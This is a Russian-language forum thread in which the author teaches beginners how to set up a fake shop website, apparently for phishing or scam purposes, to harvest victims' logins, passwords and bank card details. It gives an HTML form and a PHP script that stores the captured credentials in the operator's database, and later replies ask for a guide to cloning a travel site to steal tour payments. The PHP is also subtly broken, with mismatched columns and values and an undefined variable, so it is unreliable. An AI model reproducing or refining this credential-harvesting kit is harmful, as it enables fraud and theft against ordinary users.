Всем привет, хочу рассказать, как сделать наипростейший ****** на вашем сайте. Сразу скажу, профессионалы, не кидайтесь в меня тапками. Я прекрасно понимаю, что код не совсем безопасный и можно внедрить SQL инъекцию. В идеале, код нужно немного доработать, а так все работает отлично. Тем более, если вы делаете ****** сайт, то он скорее всего рассчитан на конкретных мамонтов, к примеру, вы хотите сделать ******овый сайт для сбора банковских карточек с мамонтов, фейк магазин ручных часов, например, никто ваш сайт не будет пытаться ломать. А в случае критических проблем с сайтом, всегда можно откатить его, с помощью резервной копии, и поменять домен, что бы никто не совершал атаки на ваш сайт. А если вы хотите максимально защититься от тех же SQL инъекций и прочего, то просто чуть-чуть доработайте этот наипростейший код. Сделать это очень легко, если вам это необходимо, найдите инфу на форумах, все изи. Но я всегда использовал этот элементарный код, и никто не совершал атаки на мой сайт :) Теперь перейдем к самому ******овому коду. И так, допустим вы скопировали чужой сайт, (Если хотите, я могу сделать полное руководство копирования сайта, подключение к MYSQL и.т.д, пишите, если это кому то необходимо, я сделаю руководство.) Короче, сайт у вас есть, вы подключили MYSQL, поставили PHPMYADMIN, отлично. Представим, что у вас свой сайт, где вы якобы продаете максимально реалистичных резиновых девушек для секса. Ваша цель - получить данные карты чувака, который купит на вашем сайте несуществующую резиновую телку :D (Кстати, без рофла, тема реально рабочая, сейчас самых современных секс кукол, почти нереально отличить от реальных девушек, по внешнему виду, имею ввиду, так что многим одиноким работягам понадобится такая секс штучка :) И тут я вам помогу украсть данные их карт, или чего угодно, что он будет вводить на вашем сайте. Для того, что бы заполненная форма отправлялась в вашу базу данных, нужно будет для начала написать HTML код для того, что бы введенные данные с формы - отправлялись в базу данных. Нам нужно будет так же сделать позже php файл с кодом, но это обьясню потом. Суть такая, вы своим HTML кодом, отправляете запрос в ваш php файл, который и будет отправлять введеные данные в БД. Короче, у вас на сайте например есть форма регистрации/авторизации, мы будем собирать сейчас именно логины пароли, которые люди вводят на вашем сайте. <form id="regUser" class="form-signin" action="send.php" method="post"> <!-- В этой строчке мы как раз таки и делаем отправку введенных данных в файл send.php который мы сделаем чуть попозже) <input type="hidden" name="register"> <div class="form-group field-register-login required"> <label class="text-muted" for="register">логин:</label> <input type="text" id="register-login" class="form-control" name="login" aria-required="true"> <p class="help-block help-block-error"></p> </div> <div class="form-group field-register-username required"> <label class="text-muted" for="register-username">Ваше имя:</label> <input type="text" id="register-username" class="form-control" name="login" aria-required="true"> <!-- Обратите внимание на команду "name", тут суть такая, когда чувак на нашем сайте будет заполнять строчку "Ваше имя", введенное имя пойдет в send.php, но отправка будет идти как раз по этому запросу, который указан в name. У нас это "login". --> <p class="help-block help-block-error"></p> </div> <div class="form-group field-register-password required"> <label class="text-muted" for="register-password">Пароль:</label> <input type="password" id="register-password" class="form-control" name="pas" aria-required="true" > <!-- Здесь суть такая же, введенные данные в нашу форму "pas", так же будут идти в send.php --> Код <form id="regUser" class="form-signin" action="send.php" method="post"> <!-- В этой строчке мы как раз таки и делаем отправку введенных данных в файл send.php который мы сделаем чуть попозже) <input type="hidden" name="register"> <div class="form-group field-register-login required"> <label class="text-muted" for="register">логин:</label> <input type="text" id="register-login" class="form-control" name="login" aria-required="true"> <p class="help-block help-block-error"></p> </div> <div class="form-group field-register-username required"> <label class="text-muted" for="register-username">Ваше имя:</label> <input type="text" id="register-username" class="form-control" name="login" aria-required="true"> <!-- Обратите внимание на команду "name", тут суть такая, когда чувак на нашем сайте будет заполнять строчку "Ваше имя", введенное имя пойдет в send.php, но отправка будет идти как раз по этому запросу, который указан в name. У нас это "login". --> <p class="help-block help-block-error"></p> </div> <div class="form-group field-register-password required"> <label class="text-muted" for="register-password">Пароль:</label> <input type="password" id="register-password" class="form-control" name="pas" aria-required="true" > <!-- Здесь суть такая же, введенные данные в нашу форму "pas", так же будут идти в send.php --> Теперь перейдем к созданию самого SEND.php благодаря которому мы и будем получать данные в нашу БАЗУ ДАННЫХ. А тут все элементарно! :) Самый простейший код в мире. <?php $login = filter_var(trim($_POST['login']), <!-- Здесь суть такая, нам идут данные с формы "login". Короче говоря, чувак регистрируется на вашем сайте и пишет свой логин, который идет нам. --> FILTER_SANITIZE_STRING); $pas = filter_var(trim($_POST['pas']), <!-- Здесь тоже самое, только тут уже нам в наш файл идут данные, которые вводились в форму "pas". На вашем сайте это выглядит как "Введите ваш пароль". Пароль идет нам, это понятно --> FILTER_SANITIZE_STRING); $pas2 = filter_var(trim($_POST['pas2']), <!-- Здесь подтверждение пароля, эта форма называется "pas2". А на вашем сайте это выглядит, как обычная форма для регистрации и строка "Введите ваш пароль еще раз" --> FILTER_SANITIZE_STRING); $mysql = new mysqli('Айпи адрес вашего сервера', 'логин админки на вашем сайте, которая имеет полный доступ к MYSQL', 'Пароль вашей админки', 'Название самой базы данных, которую вы сделали в phpmyadmin'); $mysql->query("INSERT INTO `ТУТ НАЗВАНИЕ ТАБЛИЦЫ ИЗ ВАШЕЙ БАЗЫ ДАННЫХ` (`login`, `pas`, `pas2`) VALUES('$login', '$login2', '$pas', '$pas2')"); (Тут все просто, введенные данные в формах login pas pas2 идут к вам в бд. То есть нам идут введенные логины, пароли и подтверждения паролей) $mysql->close(); header('Location: /Тут название вашего основного файла сервера на котором вы делаете ******.html'); ?> Код <?php $login = filter_var(trim($_POST['login']), <!-- Здесь суть такая, нам идут данные с формы "login". Короче говоря, чувак регистрируется на вашем сайте и пишет свой логин, который идет нам. --> FILTER_SANITIZE_STRING); $pas = filter_var(trim($_POST['pas']), <!-- Здесь тоже самое, только тут уже нам в наш файл идут данные, которые вводились в форму "pas". На вашем сайте это выглядит как "Введите ваш пароль". Пароль идет нам, это понятно --> FILTER_SANITIZE_STRING); $pas2 = filter_var(trim($_POST['pas2']), <!-- Здесь подтверждение пароля, эта форма называется "pas2". А на вашем сайте это выглядит, как обычная форма для регистрации и строка "Введите ваш пароль еще раз" --> FILTER_SANITIZE_STRING); $mysql = new mysqli('Айпи адрес вашего сервера', 'логин админки на вашем сайте, которая имеет полный доступ к MYSQL', 'Пароль вашей админки', 'Название самой базы данных, которую вы сделали в phpmyadmin'); $mysql->query("INSERT INTO `ТУТ НАЗВАНИЕ ТАБЛИЦЫ ИЗ ВАШЕЙ БАЗЫ ДАННЫХ` (`login`, `pas`, `pas2`) VALUES('$login', '$login2', '$pas', '$pas2')"); (Тут все просто, введенные данные в формах login pas pas2 идут к вам в бд. То есть нам идут введенные логины, пароли и подтверждения паролей) $mysql->close(); header('Location: /Тут название вашего основного файла сервера на котором вы делаете ******.html'); ?> В общем, я понимаю что код конечно школьный :D Но он прекрасно работает, и это главное. Я надеюсь я помог кому-то и вы создадите отличный ******овый сайт. Если вы хотите, что бы я сделал полное руководство создания ******ового сайта, с копированием чужого сайта, подключением к базе данных MYSQL, созданием ******овых форм и прочее, то пишите, я сделаю это руководство, но оно будет очень большим и это на самом деле будет огромный труд, но если будут нуждающиеся, то я сделаю это ради вас, друзья. Еще раз уточню, я лишь показал ******овый код со СВОЕГО сайта, как делаю я. Не надо писать в комментарии, что код вам не нравится. ЭТО ЧИСТО МОЙ ******ОВЫЙ САЙТ, КОТОРЫЙ ОТЛИЧНО РАБОТАЕТ. Я показал вам пример моего кода. Это руководство чисто для НОВИЧКОВ. На этом все, если у кого то возникнут вопросы - задавайте, не стесняйтесь.
eternal, Я показал как делаю я. Чем брать на слабо, лучше подскажи как усовершенствовать код, и таким образом ты поможешь людям.
openresty, расскажи как это сделать. Я в теме все написал, почему все именно вот так, как есть. Если ты можешь усовершенствовать код - то расскажи как, помоги людям.
Чуваки, если кому то нужен полноценный мануал по созданию собственного ****** сайта, то обращайтесь, если будет много желающих, я это сделаю. Могу даже видос запилить.
Видимо мануал по созданию своего ****** сайта никому особо не нужен. Но я все равно его сделаю, назло :D
Инструкция как защитить сайт от SQL Иньекций Используйте параметризованные запросы: Используйте параметризованные запросы или предварительно подготовленные выражения вместо вставки значений напрямую в SQL запросы. Это предотвращает возможность внедрения зловредного SQL кода. Избегайте динамической генерации SQL запросов: Избегайте конкатенации пользовательских входных данных с SQL запросами. Вместо этого используйте ORM (Object-Relational Mapping) или ORM-подобные библиотеки, которые позволяют вам работать с базой данных через объекты или методы, предоставляемые библиотекой. Валидация входных данных: Проверяйте и фильтруйте пользовательский ввод, чтобы убедиться, что он соответствует ожидаемому формату и типу данных. Это поможет предотвратить внедрение нежелательных символов или кода в SQL запросы. Используйте ограниченные привилегии базы данных: Убедитесь, что приложение имеет доступ только к тем таблицам и данным, которые ему действительно нужны. Не давайте приложению прав на выполнение ненужных операций или доступ к конфиденциальной информации. Обновляйте программное обеспечение и библиотеки: Регулярно обновляйте ваше программное обеспечение, включая сервер базы данных, веб-сервер и используемые библиотеки. Обновления могут содержать исправления уязвимостей, включая те, которые связаны с SQL-инъекциями. Логирование и мониторинг: Ведите журнал всех SQL запросов и мониторьте их для выявления необычной активности или попыток внедрения. Используйте фаерволы и другие средства безопасности: Используйте фаерволы, интранеты и другие средства безопасности для защиты вашего сервера базы данных от несанкционированного доступа. Обучение и обучение сотрудников: Обучите ваших разработчиков и администраторов баз данных о методах и техниках защиты от SQL-инъекций, а также о принципах безопасного программирования.
Телеграмм канал JavaScript Инсайты и Тренды: обучение JavaScript: тренды, практики и проекты. https://t.me/JavaScriptDeveloperInsights
а есть манул как сделать прямо полноценную копию сайта? я про сложные сайты. К примеру сайт с турами и поездками на которые можно записаться. Ну и сам ****** конечно в оплате этой поездки. Хотелось бы именно шаги для написания такого сайта
spasterr, Я бы написал, но это прям не такая простая задача, в нее тот кто не понимает кода не вкатится никогда. Нюансов до жути много.
Russia88, да я сам фулстак считай. Просто именно интересно алгоритм. Такое с нуля верстают и пишут просто спарсив все туры к примеру с оригинала? можешь расписать немного?